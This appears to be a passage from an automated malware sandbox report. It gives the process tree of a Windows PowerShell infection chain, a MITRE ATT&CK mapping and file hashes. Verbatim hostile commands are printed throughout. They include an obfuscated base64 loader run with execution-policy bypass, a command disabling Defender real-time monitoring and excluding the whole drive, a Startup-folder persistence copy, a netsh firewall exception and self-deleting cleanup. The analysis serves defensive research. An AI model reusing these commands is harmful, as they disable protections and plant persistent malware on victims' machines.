'uTndkSFJvJycgOyR6Z' + '0' + 'hvVy' + ' + A + ' + '' + ' + 9 + ' + 'ICgkemdIb1cgLXJlcGxhY2UgJyfnt5InJy' + ' + A + ' + 'sICcnbCcnKS' + ' + A + ' + '7OyRjVEZ6Ti' + ' + A + ' + '' + ' + 9 + ' + 'ICggJydDOlxVc2Vyc1xQdWInJy' + ' + A + ' + 'rICcnbGljXCcnICsgJydjbHljcC5' + '0' + 'eHQnJykgOyRwZ3l2Yy' + ' + A + ' + '' + ' + 9 + ' + 'IChHZXQtQ2' + ' + 9 + ' + 'udGVudC' + ' + A + ' + 'tUGF' + '0' + 'aC' + ' + A + ' + 'kY1RGek4gLUVuY2' + ' + 9 + ' + 'kaW5nIFVURjgpOycgOyRjenRqZC' + ' + A + ' + 'rPS' + ' + A + ' + 'nJHBneXZjIC1yZXBsYWNlICcnICcnLC' + ' + A + ' + 'nJycnIDsnIDskY3p' + '0' + 'amQgKz' + '0' + 'gJ1tieXRlW11dJGhqenlrID' + '0' + 'gW1N5c3RlbS5Db2xs' + 'ZW' + 'N' + '0' + 'aW' + ' + 9 + ' + 'ucy5H' + 'ZW' + '5lcmljLkxpc3RbQnl' + '0' + 'ZV1dOjpuZXcoKTsnIDskY3p' + '0' + 'amQgKz' + '0' + 'gJyRoanp5ay' + ' + A + ' + '' + ' + 9 + ' + 'ICgkcGd5dmMgIC1zcGxpdC' + ' + A + ' + 'nJywnJyB8IEZvckVhY2gtT2Jq' + 'ZW' + 'N' + '0' + 'IHsgW2J5dGVdKCRfLlRyaW' + '0' + 'oKSkgfSkgOyc7JGN6dGpkICs' + ' + 9 + ' + 'ICckYmV2cGYgPSBbU3lzdGVtLicgKy' + ' + A + ' + 'keFV' + '0' + 'R' + '0' + 'EgKy' + ' + A + ' + 'nLicgKy' + ' + A + ' + 'kSEl3WVogKy' + ' + A + ' + 'nXTo6Jy' + ' + A + ' + 'rICRTRGR3dy' + ' + A + ' + 'rICcoICRoanp5ay' + ' + A + ' + 'pOycgOyRjenRqZC' + ' + A + ' + 'rPS' + ' + A + ' + 'nJGp' + '0' + 'VmxiID' + '0' + 'gJGJldnBmLkdldFR5cGUoICcnQ2xhc3NMaWJyYXJ5My5DbGFzczEnJy' + ' + A + ' + 'pOycgOyRjenRqZC' + ' + A + ' + 'rPS' + ' + A + ' + 'nJENTWXRVID' + '0' + 'gJGp' + '0' + 'VmxiLkdldE1ldGhvZCggJydwck' + 'ZW' + 'SScnICkuJy' + ' + A + ' + 'rICRzWUtVUi' + ' + A + ' + 'rICcoICRzdFdpbC' + ' + A + ' + 'sIFtvYmplY3RbXV' + '0' + 'gKC' + ' + A + ' + 'kemdIb1cgLC' + ' + A + ' + 'nJyV2VmxHeiUnJy' + ' + A + ' + 'sICcnRCBEREM6XFdpbmRvd3NcTWljcm' + ' + 9 + ' + 'zb2Z' + '0' + 'Lk5FVFxGcmFtJy' + ' + A + ' + 'rICdld2' + ' + 9 + ' + 'ya1x2NC4wLjMwMzE5XGluc3RhbGx1dGlsJycsICcnJHRydWUnJywgJFJCQmZaICkgKTsnIDskdWpvblggPS' + ' + A + ' + 'oICdDOlxVc2Vyc1xQdWJsaWNcJy' + ' + A + ' + 'rICdxZHpocV8wMS5wczEnICkgOyRjenRqZCB8IE' + ' + 9 + ' + '1dC1GaWxlIC1GaWxlUGF' + '0' + 'aC' + ' + A + ' + 'kdWpvblggLWZvcmNlIDtTdGFydC1TbGVlcC' + ' + A + ' + 'tcy' + ' + A + ' + '1Oztwb3dlcnNo' + 'ZW' + 'xsIC1FeGVjdXRpb25Qb2xpY3kgYnlwYXNzIC1GaWxlICR1am' + ' + 9 + ' + 'uWC' + ' + A + ' + '7Ow==' ;$EGWnp = ($BnWKB + $EbaYA) ;$EGWnp = $EGWnp.replace('''',$null) ;$EGWnp = $EGWnp.replace('+ ',$null) ;$EGWnp = $EGWnp.replace(' ',$null) ;Function HZhwO{;$hqDsO = [System.Text.Encoding]::UTF8.GetString([system.Convert]::FromBase64String($EGWnp)) ;return $hqDsO ;};$oNxhz = HZhwO; $oNxhz = ($oNxhz -replace '%vVlGz%','C:\Users\Admin\AppData\Local\Temp\TPREQUESTSPROCESSINGSlCjVvbs') ;$MqRnx = 'C:\Users\Public\' + 'xrhwy' + '.ps1' ;$oNxhz | Out-File -FilePath $MqRnx -force ; powershell -ExecutionPolicy Bypass -file $MqRnx ; "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3656
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file C:\Users\Public\xrhwy.ps1
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3792
  - - C:\Windows\system32\ipconfig.exe
      "C:\Windows\system32\ipconfig.exe" /flushdns
      4⤵
      Gathers network information
      PID:1720
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -File C:\Users\Public\qdzhq_01.ps1
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:2440
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\broadcastmsg_1783607662.txt"
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3116
      - C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:3224
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_ndp472-kb4054530-x86-x64-allos-enu_decompression_log.txt"
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1000
      - C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:5604
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistmsi79c5.txt"
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4772
      - C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:3036
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistmsi79f0.txt"
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4544
      - C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:4972
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistui79c5.txt"
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3048
      - C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1216
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistui79f0.txt"
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4616
      - C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1636
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\tprequestsprocessing.vbs"
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3264
      - C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:5900
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\clycp.txt"
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2868
      - C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1428
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\qdzhq_01.ps1"
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2864
      - C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:4368
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\wxzrw.txt"
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:5636
      - C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:4512
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\xrhwy.ps1"
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3904
      - C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:4760
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -ExecutionPolicy Bypass Set-MpPreference -DisableRealtimeMonitoring $true;Set-MpPreference -DisableIntrusiovnPreventionSystem $true;Set-MpPreference -MAPSReporting 0;Set-MpPreference -SubmitSamplesConsent 2;Add-MpPreference -ExclusionPath $env:SystemDrive\ ;
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4192
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Admin\AppData\Local\Temp\TPREQUESTSPROCESSING.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\TPREQUESTSPROCESSING.vbs"
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4920
      - C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1960
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\TPREQUESTSPROCESSING.vbs & del "1"
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1084
      - C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\TPREQUESTSPROCESSING.vbs
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:2216
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\TPREQUESTSPROCESSING.vbs"
        5⤵
        
        PID:1180
    - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\Windows Update\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\vygwb_01.ps1"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        
        PID:5768
    - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\Windows Update\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\mcueo_02.ps1"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2120
    - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\Windows Update\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\cetas.ps1"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: GetForegroundWindowSpam
        Suspicious use of WriteProcessMemory
        
        PID:4680
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:5108
        
        C:\Windows\SysWOW64\netsh.exe
        
        netsh firewall add allowedprogram "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe" "installutil.exe" ENABLE
        7⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        System Location Discovery: System Language Discovery
        
        PID:4052
      - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -noexit -ExecutionPolicy Bypass -File "C:\Users\Admin\Windows Update\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\hwkxh_Pesis_.ps1"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:5808
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\Windows Update\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\mcueo_02.ps1"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1924
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\Windows Update\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\mcueo_02.ps1"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:5920
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\TPREQUESTSPROCESSING.vbs"
        5⤵
        
        PID:3764

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:1128

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 352ed9e1fc22179e12e13010dc1aea372f96b5f9303bffbd762837b340bb5547
MD5 b95fdff3d8bb650b677c6459cbe6f0f2
SHA1 358c2607061829cf6b98d592d105b846b5f732bb
SHA512 9cc85b416e101ee788cf211b8f7aa83a08bbfcd9badfc7e5cfbaaa7aa9004465bf5eb492c927653acbdef455277e48378d1fa748c68d19f7aa7faaef2455b5b6
SSDEEP 1536:ezQmcRCw2hQ6vffKQXEY3flJdpXYRinHzwCJ40i7gigMtdG7Wrxm0ibjoRjdvROa:ezQmcRCw2hQ6vffKQXEY3flJdlYonHzo
TLSH
T156636292E9204E75E1A66F3EF15622627D30394690F8113211DC25EFA987D930B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 05017e5f2bd1649b3f5fffb370717f6d22c3388d02211ba04900409431ae7c04
MD5 a46129eecd6b698e904bce5bc4601755
SHA1 385d3607e621631a535d34c6dbaf914591f59ecf
SHA512 6c7d474742134c6bbf7690289daf36c1e44ef8cccd6648c32476c23eaa485749e376488e27043357ab3cdd40245cdd2e118c505e4bfe726396ceef8c1ba41490
SSDEEP 1536:1KLg07Yo2hk3MFfKQ1AflJdpHYLh4iUxpR40i71YigM3yPTOdB4V3CNBQkj2Da5T:1KLg07Yo2hk3MFfKQ1AflJd9YLqiUpRw
TLSH
T144636292E9204E75E1A66F3EF15622627C30394690F8113211DC25EFA987D970B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download